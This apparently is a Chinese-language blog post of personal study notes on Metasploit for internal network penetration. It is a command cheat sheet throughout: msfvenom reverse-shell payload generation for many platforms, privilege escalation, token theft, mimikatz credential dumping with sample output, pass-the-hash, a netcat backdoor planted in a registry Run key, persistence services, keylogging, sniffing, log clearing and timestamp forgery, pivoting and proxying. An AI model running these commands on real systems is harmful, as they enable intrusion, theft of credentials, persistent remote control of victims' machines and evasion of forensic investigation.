内网学习笔记1
(0)

MSF基本使用

MSF

制作木马

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f macho > shell.machoWeb Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f war > shell.war

Python

msfvenom -p cmd/unix/reverse_python LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f raw > shell.pl

监听端口

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.76.132

set LPORT 1111

exploit

信息收集

信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

权限维持

常用命令

sessions    #sessions –h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell
webcam 摄像头命令
migrate 进程迁移
clearav 清除日志

execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
timestomp伪造时间戳
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

提权

(提升当前用户的权限,Windows系统中最高权限为system。且只用system权限才能直接读取其他用户的用户名和密码)

getuid获得当前用户的权限信息
getuid

默认获取当前用户权限

meterpreter > getuid                                  
Server username: NT AUTHORITY\SYSTEM    

getsystem提权

getsystem工作原理:

①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

③Windows服务已启动,导致与命名管道建立连接。

④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

meterpreter>getsystem                                                                    got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似(相当于执行现在系统内的bypassuac脚本获得权限),运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/bypassuac
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                     Connection
  --  ----  ----                     -----------                     ----------
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DAZHU-PC  192.168.17.74:4444 -> 192.168.17.72:3365 (192.168.17.72)
  3         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DAZHU-PC  192.168.17.74:4444 -> 192.168.17.72:4646 (192.168.17.72)
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DAZHU-PC  192.168.17.74:4444 -> 192.168.17.72:4886 (192.168.17.72)

msf5 exploit(windows/local/bypassuac) > set sessions 2
sessions => 2
msf5 exploit(windows/local/bypassuac) > run

[-] Exploit failed: One or more options failed to validate: SESSION.(因为已经是最高权限,所以提权失败。)
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/bypassuac) >

内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

返回后台运行会话

msf5 exploit(windows/local/bypassuac) > back
msf5 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

进一步操作

令牌操作

incognito假冒令牌

use incognito      #help incognito  查看帮助
list_tokens -u    #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
或者直接shell
rev2self   #返回原始token

steal_token窃取令牌

steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

mimikatz抓取密码

获取密码后可能被用来在其他系统或者网站使用

load mimikatz    #help mimikatz 查看帮助
wdigest  #获取Wdigest密码
mimikatz_command -f samdump::hashes  #执行mimikatz原始命令  直接读取哈希值
mimikatz_command -f sekurlsa::searchPasswords

meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

AuthID    Package    Domain        User           Password
------    -------    ------        ----           --------
0;951153  NTLM       dazhu-PC      Administrator  
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  
0;996     Negotiate  WORKGROUP     DAZHU-PC$      
0;50607   NTLM                                    
0;999     NTLM       WORKGROUP     DAZHU-PC$      
0;103061  NTLM       dazhu-PC      vscan_tj       vsacn_tj_1602719439_ll

meterpreter >

工具破解

ophcrack破解哈希值
挂载字典->导入文件->哈希利用->获取哈希

run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
#需要SYSTEM权限

PSExec哈希传递
通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享

msf > use exploit/windows/smb/psexec(使用psexec溢出攻击方式)
msf > set payload windows/meterpreter/reverse_tcp(设置reverse_tcp木马)
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOSTS 192.168.159.144建立连接
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
msf >exploit

文件系统命令

基本文件系统命令
命令1.上传文件到受害者主机
简单来说,你可以上传本机的任意文件到远程目标主机中。

upload <file> <destination>

注意:使用-r参数可以递归上传上传目录和文件

meterpreter > upload //mnt//PcShare2.exe c:\\pcshare2.exe(上传)
[*] uploading  : //mnt//PcShare2.exe -> c:\pcshare2.exe
[*] Uploaded 34.50 KiB of 34.50 KiB (100.0%): //mnt//PcShare2.exe -> c:\pcshare2.exe
[*] uploaded   : //mnt//PcShare2.exe -> c:\pcshare2.exe

命令2.从windows主机下载文件
download命令可以下载远程主机上的文件

download <file> <path to save>

注意:Windows路径要使用双斜线

如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令

格式与upload相同,文件路径先后相反
命令3.在目标主机上执行exe文件
我们也可以使用execute命令在目标主机上执行应用程序

execute -f <path> [options] (-f代表强制执行)
meterpreter > execute -f c:\\pcshare2.exe(执行远程桌面控制代码)
Process 9024 created.

命令4.执行(创建)新的cmd通道
如果你想在目标主机上执行命令提示符,你可以使用下列命令:

1、shell
2、

meterpreter > execute -f cmd -c
Process 9080 created.
Channel 1 created.
meterpreter > 

开启rdp&添加用户

getgui命令

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp

getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

enable_rdp脚本

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=haha PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb

通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

sniffer抓包

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

注册表操作

注册表基本命令

reg –h
    -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
    enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

注册表设置nc后门

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值

nc -v 192.168.159.144 443  #攻击者连接nc后门

后门植入

metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。
persistence启动项后门
在C:Users*AppDataLocalTemp目录下,上传一个vbs脚本

在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项

run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

连接后门

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

metsvc服务后门
在C:Users*AppDataLocalTemp上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门

连接后门

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

扫描脚本

扫描的脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/

扫描的脚本较多,仅列几个代表:

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

远程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连
meterpreter > getdesktop
Session 0\W\D
meterpreter > screenshot
Screenshot saved to: /root/yllvlUli.jpeg
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.17.74 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\RwwuHn.exe (must be deleted m
[*] Executing the VNC agent with endpoint 192.168.17.74:4545...
meterpreter > Connected to RFB server, using protocol version 3.8

添加内网路由

获取主机网卡信息

run get_local_subnets

手动添加路由

#在全局给指定的session加
route add 192.168.11.0  255.255.255.0  1     #在session1中添加到达192.168.11.0网段的路由
route add 192.168.12.0  255.255.255.0  1     #在session1中添加到达192.168.12.0网段的路由
route add 0.0.0.0       0.0.0.0        1     #在session1中添加到达0.0.0.0/24网段的路由
route del 192.168.12.0  255.255.255.0  2     #在session2中删除到达192.168.12.0网段的路由
route print    #打印路由信息

#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24             #添加到达192.168.11.0网段的路由
run autoroute -s 192.168.11.0/24             #添加到达192.168.12.0网段的路由
run autoroute -p            #打印路由信息

在实际的内网渗透中,我们可以直接添加到 0.0.0.0/24的路由,这样,只要该被控主机可达的地址就都可达!
内网扫描
然后可以利用arp_scanner、portscan等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

添加代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080

最后proxychains 使用Socks4a代理访问

代理报错 需要注释掉proxy_dns

扫描脚本

扫描的脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/

扫描的脚本较多,仅列几个代表:

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

常用命令速查

sysinfo列出受控主机的系统信息。

ls列出目标主机的文件和文件夹信息。

use priv加载特权提升扩展模块,来扩展metasploit库。

ps显示所有运行的进程以及相关联的用户账户。

migrate PID 迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。

use incognito加载incognito功能(用来盗窃目标主机的令牌或假冒用户)

list_tokens -u列出目标主机用户的可用令牌。

list_tokens -g列出目标主机用户组的可用令牌。

impersonate_token DOMAIN_NAMEUSERNAME.假冒目标主机上的可用令牌。

steal_token PID盗窃给定进程的可用令牌并进行令牌假冒。

drop_token停止假冒当前令牌。

getsystem通过各种攻击向量来提升系统用户权限。

execute -f cmd.exe -i执行cmd.exe命令并进行交互。

execute -f cmd.exe -i -t以所有可用令牌来执行cmd命令并隐藏该进程。

rev2self回到控制目标主机的初始用户账户下。

reg command在目标主机注册表中进行交互,创建,删除,查询等操作。

setdesktop number切换到另一个用户界面(该功能基于那些用户已登录)。

screenshot对目标主机的屏幕进行截图。

upload file向目标主机上传文件。

download file从目标主机下载文件。

keyscan_start针对远程目标主机开启键盘记录功能。

keyscan_dump存储目标主机上捕获的键盘记录。

keyscan_stop停止针对目标主机的键盘记录。

getprivs尽可能多的获取目标主机上的特权。

uictl enable keyboard/mouse接管目标主机的键盘和鼠标。

background将你当前的metasploit shell转为后台执行。

hashdump导出目标主机中的口令哈希值。

use sniffer加载嗅探模式。

sniffer_interfaces列出目标主机所有开放的网络端口。

sniffer_dump interfaceID pcapname在目标主机上启动嗅探。

sniffer_start interfaceID packet-buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探。

sniffer_stats interfaceID获取正在实施嗅探网络接口的统计数据。

sniffer_stop interfaceID停止嗅探。

add_user username password -h ip在远程目标主机上添加一个用户。

clearev清楚目标主机上的日志记录。

timestomp修改文件属性,例如修改文件的创建时间(反取证调查)。

reboot重启目标主机。

show exploits列出metasploit框架中的所有渗透攻击模块。

show payloads列出metasploit框架中的所有攻击载荷。

show auxiliary列出metasploit框架中的所有辅助攻击载荷。

search name查找metasploit框架中所有的渗透攻击和其他模块。

info展示出制定渗透攻击或模块的相关信息。

use name装载一个渗透攻击或模块。

LHOST你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。

RHOST远程主机或是目标主机。

set function设置特定的配置参数(EG:设置本地或远程主机参数)。

setg function以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。

show options列出某个渗透攻击或模块中所有的配置参数。

show targets列出渗透攻击所有支持的目标平台。

set target num指定你所知道的目标的操作系统以及补丁版本类型。

set payload name指定想要使用的攻击载荷。

show advanced列出所有高级配置选项。

set autorunscript migrate -f.在渗透攻击完成后,将自动迁移到另一个进程。

check检测目标是否选定渗透攻击存在相应的安全漏洞。

exploit执行渗透攻击或模块来攻击目标。

exploit -j在计划任务下进行渗透攻击(攻击将在后台进行)。

exploit -z渗透攻击完成后不与回话进行交互。

exploit -e encoder制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
exploit -h列出exploit命令的帮助信息。

sessions -l列出可用的交互会话(在处理多个shell时使用)。

sessions -l -v列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。

sessions -s script在所有活跃的metasploit会话中运行一个特定的metasploit脚本。

sessions -K杀死所有活跃的交互会话。

sessions -c cmd在所有活跃的metasploit会话上执行一个命令。

sessions -u sessionI升级一个普通的win32 shell到metasploit shell。

db_create name创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
db_connect name创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。

db_namp利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。

db_autopwn -h展示出db_autopwn命令的帮助信息。

db_autopwn -p -r -e对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。

db_destroy删除当前数据库。

db_destroy user:passwd@host:port/database使用高级选项来删除数据库。

help打开meterpreter使用帮助。

run scriptname运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。

本文为作者admin发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论